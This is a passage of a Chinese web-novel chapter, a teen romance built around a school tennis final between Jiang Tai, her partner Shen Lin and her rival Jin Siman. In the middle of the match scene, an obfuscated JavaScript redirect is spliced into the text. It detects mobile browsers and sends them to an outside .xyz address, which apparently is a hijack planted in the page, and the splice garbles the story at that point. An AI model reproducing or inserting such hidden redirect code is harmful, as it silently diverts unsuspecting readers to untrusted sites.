陆陆续续的命令砸下来,也听不见沈凛的拒绝。 游戏对面的应桐吐槽“你们简直像老夫老妻同居模式”,刚说完这句话就被两个人怒喷。 一个是骂他有病的姜苔,另一个是让他不会说话就别说的魏柯生。 终于在姜霆从书房出来后,姜苔启动了静音模式。 父女俩的关系在那晚过后急转直下,陷入僵局。 姜霆正要走过来跟她说几句话,她却从电视屏幕那看见他走近的身影,没给机会地立即起身:“我要睡觉了,不玩了!” 脚步飞快甩开身后的中年男人,经过楼梯那时被沈凛喊住,他把手上的光盘给她递过去。 她疑惑:“什么东西?” 他斜倚着门:“你那张坏了的光盘,视频都拷到这张里面了。” 姜苔呆呆地接过来,甚至忘记问他什么时候拿走的。然后沈凛回屋前,关上门:“晚安。” 她慢吞吞地捏着光盘盒子上楼梯,鬼使神差地想起其实还欠沈凛一个道歉,在他提醒自己注意卢娜时,他说他不是自己的朋友。 可是,他就是她的朋友啊。 11.第 11 章 早上起得早,沈凛帮焦莱去市场把菜买齐了才回来。要进院门时,正好碰上在公园里晨跑结束的姜霆。 “这么早就醒了。”眼神触及他手上提着的东西,姜霆笑笑,“你倒懂事,不像我家苔苔。” 说到女儿,姜霆又是叹气。 沈凛和长辈沟通并无技巧,更何况眼前的男人还是焦莱的雇主。他低敛眉目,陈述道:“苔苔还在生您的气。” “这都多少天了,我说让她陪我去给她妈咪扫墓也不去。有事找我就爹地爹地地喊,一不顺心就一句话也不和我说……这孩子,17岁跟7岁似的。”姜霆说到这,又问道,“你和她差不多大,你说我还能怎么办?” “心情就算很糟,也要和爱的人好好说话。”沈凛淡声说完这句,又不缺时务地补道,“等她气消就好了。” 两人往大门那走,焦莱已经拿着块擦汗的毛巾在那等。 沈凛适时放慢了脚步,等男人先进屋。 一旁的灌木丛里在这时传出了声喵呜,他低头看,是只很小的狸花幼猫,毛发还湿哒哒地沾着秋末清晨里的露水,看着丑萌丑萌的。 像是被哪只大猫生下来不久,就丢在了这。 日趋渐冷的冬天快要来了,小猫冻得瑟瑟发抖。 “小凛,傻站在那干什么?”焦莱又到门口来喊,“提着菜进来啊。” - 期中考试过后,是朗御的秋季运动会。 姜苔报名了女子双人网球。 朗御的女子双人网球赛和常规模式不同,是一男一女组合。但男生是在后面起到辅助左右,成绩只算女生接到球和扣球的部分。 因此报名者的搭档只需在年级里随便找一个配合的男生就行。 据说这样安排是为了锻炼学生合作沟通的能力,又平衡了男女搭配。 网球比赛只有国际部才有,而普高部那边的运动会项目还是长短跑、铅球标枪这些。 即使初来乍到的沈凛什么运动项目也没报,却还是一放学就被姜苔拎去打网球陪练。 别墅小区的网球场就在高尔夫球场的旁边。 如果不是这次陪练,沈凛大概从来不知道,姜苔这么懒的一个人居然在运动方面的胜负欲这么强。 她在他眼里一直是纤软娇养着的,像一颗昂贵易碎的水晶球。 “因为我报名了啊,报名了就只能拿第一。”姜苔振振有词地说,“什么都要当第一个!你想想在上课的时候,第二个举手要上厕所的人,老师只会说:憋着。” “……” 沈凛觉得这个理由不太充分,略带怀疑地望着她。 姜苔自知这点心思瞒不过两分钟,手抵着网球球拍,眼珠子乌溜溜地转,嗓音嗔娇又别扭地说道:“那个金思蔓也报名了,班里女子网球就我和她,我很有可能和她分到对组。我一定要赢她的!她现在天天和卢娜一起玩,还故意在我面前显摆!” 天色早就暗沉,暖调的路灯光打在少女侧脸。外双眼皮白而薄,浓密睫毛根根分明地在眼睑下方拓出淡淡阴影,纤细又精致。 沈凛听着她嘟嘟囔囔着小女生的那些人际关系,抿着唇,脸偏向一边,没忍住笑了下。 这表情被姜苔捕捉,气势汹汹的指尖去戳他脸颊:“喂!你还笑,到底有没有听我在讲?” 他顺着她指尖把脸转回来,牵动唇角,嗓音清柔:“有听呢。” 可是笑意还荡漾在眼里,难得带些顽劣稚气,分明是在嘲笑她。姜苔被他盯得羞恼,站起身:“不跟你说了,快点陪我继续练!” 吃过晚饭后,从傍晚练到晚上9点多,再好的体力也被消耗完。球场一开始还有其他人也在打球,后来就只剩下他俩。 隔壁球场上有球童拿着机器捡球,清理场地。 姜苔提前一周训练属于临时抱佛脚,平时不运动,此刻累得全身是汗,终于喊停。 她气喘吁吁地丢开球拍,四仰八叉躺在了网球场上,毫无形象可言。 沈凛倒是还好,还能在她脱力时去收拾两个人的球拍工具袋。 毕竟他在拳击俱乐部的运动量更大,虽不至于练就健硕肌肉,但腹肌平坦精瘦,紧腰窄臀,体能早在同龄人里超群。 今晚陪她这么久,如同只热了个身。 姜苔的视线落在他躬背时露出的一截窄腰,少年有力的骨骼肌理将身上那件宽松T恤都撑得熨贴,力量汹涌又赏心悦目。 她发现相比自己,沈凛似乎总是成长得特别快,板正也够帅。 有点好奇等再过几年,他这身量到底得多吸引年轻女孩。 边上全是黄绿色的网球,姜苔随手捞了一个,朝他砸过去:“你过来看。” 他踢开她身边的几颗网球,顺势躺到她旁边:“看什么?” 今天是阴天,天穹乌云密布,晚风有些凉。 姜苔额前汗湿的碎发被吹拂开,很轻地叹口气:“沈凛,怎么看不到星星。” 好些年前,她来到鞍岭镇的那个晚上也这么问过。 沈凛转过头,看她少见的恬静侧颜。 姜苔想妈妈了。 - 运动会如期而至,网球赛对决名单公开。 姜苔找的男生搭档是应桐。 两人打得挺轻松,一路过关斩将。 只是相比其他组合,他俩简直能称为聒噪的对抗组。一场比赛打下来,对手都在听他们内讧互损。 “不是吧大姐,这个球你都接不到?” “你站在后面和丧尸有什么区别,每次都要我往后退才能捞到球!现在他们都知道我的薄弱部位是后方了!” “谁说的?你不动我都能把球打过去!谁让你每次都不信我!” “我要不是实在找不到男生了,才不找你!” 叽里咕噜一大堆,也没影响他们杀进决赛。 但真进决赛了,应桐反倒出许多岔子,好几个简单的球都没接到,接连不断地失分。 姜苔这会儿却没继续骂,只是不理解地看了他好几眼:“你是不舒服吗?” 中场休息,应桐看着对面,猛灌了一大口水,:“没。” 她也有些莫名其妙的。 下一场就是和金思蔓那组对决,但是这场要是输了,她就彻底结束了。 止步于此,不战而败,会被金思蔓笑死。 姜苔心事重重的,想着怎么跟他说下半场真得要好好打才行。还没想好就听见观众席那边的喝彩加油声——“姜苔最棒,姜苔加油,姜苔必胜!” “……” 一转头,是普高那几个朋友过来了。 姜苔拉着应桐起身,小跑到围栏那,有些惊喜:“你们那边的运动会都结束了?” 方好好晃了晃手上的小红旗:“我们报名的项目结束了啊,一结束就来看你比赛了!” 沈凛也过来了,他没运动项目,所以被班主任喊去当志愿者。手上还拿着瓶水,拧开瓶盖给姜苔递过去。 “怎么回事儿老弟。”魏柯生看着远处比分牌,拍了拍应桐肩膀,“怎么把我们家苔苔分数拉成这样了?” 姜苔本来都不想说他,可是比分差太多了。她终于表露出不开心,转过头:“唐泛雨那组实力都不怎么样,你下半场……” 说到一半,她反应过来。 他们对面是唐泛雨,以及,和唐泛雨传过绯闻的学弟搭档。 “应桐!”想到这里,姜苔怒不可遏地抓住他后衣领,“我说你怎么回事儿呢,你见色忘友啊!一对上唐泛雨就跟丢了魂似的。” 被揭穿内心深处的秘密般,应桐勉强伸手挡了下,没陪她闹起来。 “我要换人了,我现在是真的一点也不信任你了!”姜苔双手环在胸前,下巴一昂,“我不能输。” 魏柯生连忙举手:“换我吧,我来帮你赢。” 但能换的也不只有他一个选项,旁边还有个沈凛。 方好好站在两个男生中间,两边都指了下,语气兴奋:“姜苔同学,请选择你的搭档吧!” “……沈凛来吧。”姜苔看见魏柯生挂在脸上的失落表情,解释道,“他陪我练一周了,我们更有默契点。” 中场休息快要结束。 中途要换人,应桐向老师挑了个身体不舒服的理由。 沈凛换了专业球服上场,那身本来穿在应桐身上算合适的网球服,套在他身上居然有点显小。 场下观众席里坐着的几乎都是国际部的人,不免有打听他是谁的。 他充耳不闻,扯了扯有些勒的领口,看向一旁正在热身的姜苔。 她平时就算是私服也从不穿polo正装,会嫌四四方方的领口设计老气死板,但穿着格外好看。 黑发用根红绳扎得很高,从粉紫色的网球帽后露出来,白色A字裙裤下是一双极漂亮修长的腿。 日光下暴晒的肌肤白皙玉砌般,跟腱深陷,线条流畅。 姜苔扩了扩胸口,咬牙道:“靠你了沈凛。” 唐泛雨这组打球实力勉勉强强,被应桐之前放水后赢了几分球。但下半场对上姜苔这边认真打之后,就很快不行了。 终于对上金思蔓这一组。 姜苔前面失了很多分,要想继续赢,接下来五场里必须追四场才能逆风翻盘。哨声还没吹响,金思蔓和她一块在边上喝水做准备。 “不容易啊,还以为你连和我比几场的资格都没有呢。”金思蔓看了看她身后在绑鞋带的沈凛,阴阳怪气地问,“怎么还怕打不赢,临时找了个外援啊?” 姜苔剐她一眼,撂狠话:“你会后悔挑衅我的。” 裁判走上台示意她们上场选位,比赛正式开始。 金思蔓一路顺风顺水进决赛,当然也有实力在,对上她们第一场比赛,就以多发三个扣球赢了。 她那边以卢娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13730598|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带头的几个姐妹很会鼓舞士气:“思蔓加油!打她一个5:0,剿杀她!” 方好好这边也不甘示弱,联合了国际部和姜苔交好的几个女生一起摇旗大喊。魏柯生更是夸张,站在观众座位上:“没关系,我们苔苔让二追三!” 有人提醒他:“这把姜苔得赢四把才能拿冠军。” 魏柯生立刻改口:“让一追四!!” “……” 双人网球需要战术。 沈凛和她默契是够的,但没怎么商量过。 他刚才有认真看金思蔓那一组的活球和回球,手掌抵了抵球拍网格,俯身和她说:“你尽量打挑高球,弧线抛远一点,其他交给我。” 姜苔也发现了金思蔓那男搭档的弹跳力一般,点头:“好。” 如果她和金思蔓的击球水平不相上下,那破绽只能在彼此的搭档身上。有这个意识在,他们这一组的分数逐渐上升。 接下来连输三场,金思蔓果然脸色都变得不好看,旁边的搭档被她骂得越来越没自信。 还剩最后一场,只要赢了就是冠军。 姜苔总算能轻轻松松地在一旁说风凉话:“我就不会把我的无能怪在搭档身上,是吧沈凛?” “……” 沈凛看了眼刚才被她掐着后脖颈、还心有余悸躲得远远的应桐,点头:“嗯。” 应桐立马对他竖起个中指:鄙视你。 最后一场比赛也是关键赛。 金思蔓和搭档刚才沟通复盘过,比之前更难打了。 但魏柯生自信满满地在提前开香槟,一边充当解说员:“这个平击球打得真好!对方渐渐落入下风!” “对方彻底陷入苦战!” “对方败局已定!” 应桐和方好好笑着骂他:“你太吵了,搁这儿演奥运会呢?!” 球场上进入半分钟的倒计时。 此时比分也即将被金思蔓那一组追平。 最后一个球往后打过来,本该是由沈凛来接。但他突然在那颗网球飞过来时往旁边退开几步,喊了声:“苔苔。” 姜苔快速反应过来,三步小跑后退。双手抓住球拍,稍稍跳起来反手一挥,一颗拉线球打着旋儿冲向对面。 这颗关键的胜负球是她打的。 金思蔓冲过来也没接住,挫败气恼地滑跪在地上。 时间到了,裁判吹响口哨。 场上一片喝彩喧嚣:“好球!” 姜苔赢了,球拍爽快地往边上一丢,大声发泄般地“啊”了一句,冲向沈凛朝他击掌:“我们赢了!!” 他手掌宽大,被她手心的汗染湿。本来击掌拍一下就得了,但姜苔太激动,连连拍了十几下,直接把彼此的掌心都拍红。 这场拉锯赛实在精彩,两边观众都在尖叫鼓掌。 领奖台那,老师和裁判报出了前三名。姜苔上去后没找到气馁的金思蔓,倒看见了来替人拿亚军奖牌的卢娜。 不要紧,并不影响她换个人嘚瑟。 姜苔耸耸肩,伸出拇指做了一个割喉的嚣张手势。对着她,也是对着台下说出自己的冠军感言:“I am the King.” “啊啊啊啊啊啊苔姐,太帅了!!!!” “姜苔牛逼,天下第一!!” “苔姐娶我!拜倒在你的网球裙下!”身后一群人都是她那些个损友,很给面子地在喊,“冠军看这里,给你拍照呢!!!” …… - 姜苔换了衣服后也没找到金思蔓,更没找到沈凛。 应桐说沈凛被她尖叫声吓跑了,她反手给他一拳。运动会还没结束,姜苔抛下几个小伙伴,往教室走。 正好在教学楼那的大榕树下看见了要找的人。 可是与此同时,沈凛面前还站着一个言笑晏晏的金思蔓。 难怪完全没有输球那会儿的颓丧,原来在这私会她的搭档。姜苔气不打一处来,朝那故意咳嗽了声,打断两个人。 金思蔓一见是她,果然收了些笑:“那我先走了,下次再聊。” 沈凛身上换回了普高部的校服,手臂上那根红色志愿者的带子也重新戴上,依旧拿着一瓶水。 黑色发根还湿着,表情看上去很放松,有股热腾腾的清隽懒散。 姜苔气鼓鼓地走到他面前,质问道:“你怎么和她在一块!” “我要回班上,半路碰到她的。” “不准跟她讲一句话,我都讨厌死她了!你也要讨厌她!!” 他笑起来:“你怎么这么霸道。” “我就霸道。”姜苔一点也没在开玩笑,表情严肃,“她找你说什么了?” 沈凛如实转述:“说要和我交朋友,问我要号码。” “你给她号码了?” “还没。” “不准给!”她口气生硬,掏出手机,“给我,我都没你号码。”